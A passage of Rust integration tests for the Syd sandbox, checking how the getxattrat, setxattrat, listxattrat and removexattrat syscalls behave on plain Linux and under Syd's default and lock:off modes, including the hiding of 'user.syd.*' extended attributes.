echo 3 > exp.2
{syd_do} file user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
{syd_do} file user.syd.test > test.2
cmp test.1 exp.1
cmp test.2 exp.2
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_getxattrat_file_syd_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
mkdir dir
setfattr -n user.ack.test -v 1 dir
setfattr -n user.syd.test -v 3 dir
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do__("getxattrat_file")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
echo 1 > exp.1
: > exp.2
{syd_do} dir user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac

{syd_do} dir user.syd.test > test.2 || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat failed with ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

cmp test.1 exp.1
cmp test.2 exp.2
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_getxattrat_file_syd_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
mkdir dir
setfattr -n user.ack.test -v 1 dir
setfattr -n user.syd.test -v 3 dir
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("fs")
        .m("lock:off")
        .m("allow/all+/***")
        .do__("getxattrat_file")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
echo 1 > exp.1
echo 3 > exp.2
{syd_do} dir user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
{syd_do} dir user.syd.test > test.2
cmp test.1 exp.1
cmp test.2 exp.2
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_setxattrat_path_linux() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let syd_do = &SYD_DO.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
touch file
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3

SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.test 1 create || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no setxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac

SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.none 2 0

SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.none > test.2

SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.test 1 create && exit 2
SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.test 3 replace
SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.test > test.3

cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_setxattrat_file_linux() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let syd_do = &SYD_DO.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
mkdir dir
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 1 create || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no setxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.none 2 0

SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.none > test.2

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 1 create && exit 2
SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 3 replace
SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test > test.3

cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_setxattrat_path_syd_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
touch file
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3

SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.test 1 create || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no setxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.none 2 0

SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.none > test.2

SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.test 1 create && exit 2
SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.test 3 replace
SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.test > test.3

cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3

SYD_TEST_DO=setxattrat_path {syd_do} file user.syd.test 1 create || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no setxattrat support, skipping test!"
    exit 0;;
13) # EACCES
    echo >&2 "setxattrat failed with EACCES as expected!"
    ;;
*) exit $r;;
esac
unset r
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_setxattrat_path_syd_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("fs")
        .m("lock:off")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
touch file
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3

SYD_TEST_DO=setxattrat_path {syd_do} file user.syd.test 1 create || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no setxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac

SYD_TEST_DO=setxattrat_path {syd_do} file user.syd.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_path {syd_do} file user.syd.none 2 0

SYD_TEST_DO=getxattrat_path {syd_do} file user.syd.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=getxattrat_path {syd_do} file user.syd.none > test.2

SYD_TEST_DO=setxattrat_path {syd_do} file user.syd.test 1 create && exit 2
SYD_TEST_DO=setxattrat_path {syd_do} file user.syd.test 3 replace
SYD_TEST_DO=getxattrat_path {syd_do} file user.syd.test > test.3

cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_setxattrat_file_syd_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
mkdir dir
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 1 create || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no setxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.none 2 0

SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.none > test.2

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 1 create && exit 2
SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 3 replace
SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test > test.3

cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3

SYD_TEST_DO=setxattrat_path {syd_do} dir user.syd.test 1 create || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no setxattrat support, skipping test!"
    exit 0;;
13) # EACCES
    echo >&2 "setxattrat failed with EACCES as expected!"
    ;;
*) exit $r;;
esac
unset r
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_setxattrat_file_syd_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("fs")
        .m("lock:off")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
mkdir dir
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3
echo 4 > exp.4

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 1 create || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no setxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.none 2 0

SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.none > test.2

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 1 create && exit 2
SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 3 replace
SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test > test.3

SYD_TEST_DO=setxattrat_file {syd_do} dir user.syd.test 1 create
SYD_TEST_DO=setxattrat_file {syd_do} dir user.syd.test 4 replace
SYD_TEST_DO=getxattrat_file {syd_do} dir user.syd.test > test.4

cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3
cmp test.4 exp.4
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_listxattrat_path_linux() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch", "tr");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test.1 -v 1 file
setfattr -n user.ack.test.2 -v 2 file
setfattr -n user.ack.test.3 -v 3 file
setfattr -n user.syd.test.4 -v 4 file
setfattr -n user.syd.test.5 -v 5 file
setfattr -n user.syd.test.6 -v 6 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = Command::new("bash")
        .env("SYD_TEST_DO", "listxattrat_path")
        .arg("-cex")
        .arg(format!(
            r##"
for i in {{1..3}}; do
    echo user.ack.test.$i >> exp.1
done
for i in {{4..6}}; do
    echo user.syd.test.$i >> exp.1
done
{syd_do} file > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no listxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
# security.selinux, security.smack etc. are
# outside our control when lock:off.
grep -v security. < test-sort.1 > test-user.1
cmp test-user.1 exp.1
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_listxattrat_file_linux() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch", "tr");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
mkdir dir
setfattr -n user.ack.test.1 -v 1 dir
setfattr -n user.ack.test.2 -v 2 dir
setfattr -n user.ack.test.3 -v 3 dir
setfattr -n user.syd.test.4 -v 4 dir
setfattr -n user.syd.test.5 -v 5 dir
setfattr -n user.syd.test.6 -v 6 dir
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = Command::new("bash")
        .env("SYD_TEST_DO", "listxattrat_file")
        .arg("-cex")
        .arg(format!(
            r##"
for i in {{1..3}}; do
    echo user.ack.test.$i >> exp.1
done
for i in {{4..6}}; do
    echo user.syd.test.$i >> exp.1
done
{syd_do} dir > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no listxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
# security.selinux, security.smack etc. are
# outside our control when lock:off.
grep -v security. < test-sort.1 > test-user.1
cmp test-user.1 exp.1
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_listxattrat_path_syd_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch", "tr");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test.1 -v 1 file
setfattr -n user.ack.test.2 -v 2 file
setfattr -n user.ack.test.3 -v 3 file
setfattr -n user.syd.test.4 -v 4 file
setfattr -n user.syd.test.5 -v 5 file
setfattr -n user.syd.test.6 -v 6 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do__("listxattrat_path")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
for i in {{1..3}}; do
    echo user.ack.test.$i >> exp.1
done
# Filtered out by Syd!
#for i in {{4..6}}; do
#    echo user.syd.test.$i >> exp.1
#done
{syd_do} file > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no listxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
cmp test-sort.1 exp.1
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_listxattrat_path_syd_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch", "tr");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test.1 -v 1 file
setfattr -n user.ack.test.2 -v 2 file
setfattr -n user.ack.test.3 -v 3 file
setfattr -n user.syd.test.4 -v 4 file
setfattr -n user.syd.test.5 -v 5 file
setfattr -n user.syd.test.6 -v 6 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("fs")
        .m("lock:off")
        .m("allow/all+/***")
        .do__("listxattrat_path")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
for i in {{1..3}}; do
    echo user.ack.test.$i >> exp.1
done
# Not filtered out by Syd due to lock:off!
for i in {{4..6}}; do
    echo user.syd.test.$i >> exp.1
done
{syd_do} file > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no listxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
# security.selinux, security.smack etc. are
# outside our control when lock:off.
grep -v security. < test-sort.1 > test-user.1
cmp test-user.1 exp.1
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_listxattrat_file_syd_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch", "tr");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch dir
setfattr -n user.ack.test.1 -v 1 dir
setfattr -n user.ack.test.2 -v 2 dir
setfattr -n user.ack.test.3 -v 3 dir
setfattr -n user.syd.test.4 -v 4 dir
setfattr -n user.syd.test.5 -v 5 dir
setfattr -n user.syd.test.6 -v 6 dir
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do__("listxattrat_path")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
for i in {{1..3}}; do
    echo user.ack.test.$i >> exp.1
done
# Filtered out by Syd!
#for i in {{4..6}}; do
#    echo user.syd.test.$i >> exp.1
#done
{syd_do} dir > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no listxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
cmp test-sort.1 exp.1
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_listxattrat_file_syd_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch", "tr");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch dir
setfattr -n user.ack.test.1 -v 1 dir
setfattr -n user.ack.test.2 -v 2 dir
setfattr -n user.ack.test.3 -v 3 dir
setfattr -n user.syd.test.4 -v 4 dir
setfattr -n user.syd.test.5 -v 5 dir
setfattr -n user.syd.test.6 -v 6 dir
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("fs")
        .m("lock:off")
        .m("allow/all+/***")
        .do__("listxattrat_path")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
for i in {{1..3}}; do
    echo user.ack.test.$i >> exp.1
done
# Not filtered out by Syd due to lock:off!
for i in {{4..6}}; do
    echo user.syd.test.$i >> exp.1
done
{syd_do} dir > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no listxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
# security.selinux, security.smack etc. are
# outside our control when lock:off.
grep -v security. < test-sort.1 > test-user.1
cmp test-user.1 exp.1
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_removexattrat_path_linux() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let syd_do = &SYD_DO.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
echo 3 > exp.1

touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file

SYD_TEST_DO=removexattrat_path {syd_do} file user.ack.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no removexattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat returned ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_path {syd_do} file user.syd.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac

cmp test.1 exp.1
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_removexattrat_file_linux() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let syd_do = &SYD_DO.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
echo 3 > exp.1

touch dir
setfattr -n user.ack.test -v 1 dir
setfattr -n user.syd.test -v 3 dir

SYD_TEST_DO=removexattrat_file {syd_do} dir user.ack.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no removexattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat returned ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_file {syd_do} dir user.syd.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac

cmp test.1 exp.1
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_removexattrat_path_syd_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
SYD_TEST_DO=removexattrat_path {syd_do} file user.ack.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no removexattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.test || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat returned ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_path {syd_do} file user.syd.test > test.1 || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    true;;
*) exit $r;;
esac
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_removexattrat_path_syd_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("fs")
        .m("lock:off")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
SYD_TEST_DO=removexattrat_path {syd_do} file user.ack.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no removexattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.test || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat returned ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_path {syd_do} file user.syd.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_removexattrat_file_syd_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
mkdir dir
setfattr -n user.ack.test -v 1 dir
setfattr -n user.syd.test -v 3 dir
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
SYD_TEST_DO=removexattrat_file {syd_do} dir user.ack.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no removexattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat returned ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=removexattrat_file {syd_do} dir user.syd.test || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no removexattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "removexattrat returned ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_file {syd_do} dir user.syd.test || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat returned ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_removexattrat_file_syd_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
mkdir dir
setfattr -n user.ack.test -v 1 dir
setfattr -n user.syd.test -v 3 dir
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("fs")
        .m("lock:off")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
SYD_TEST_DO=removexattrat_file {syd_do} dir user.ack.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no removexattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat returned ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_file {syd_do} dir user.syd.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=removexattrat_file {syd_do} dir user.syd.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no removexattrat support, skipping test!"
    exit 0;;
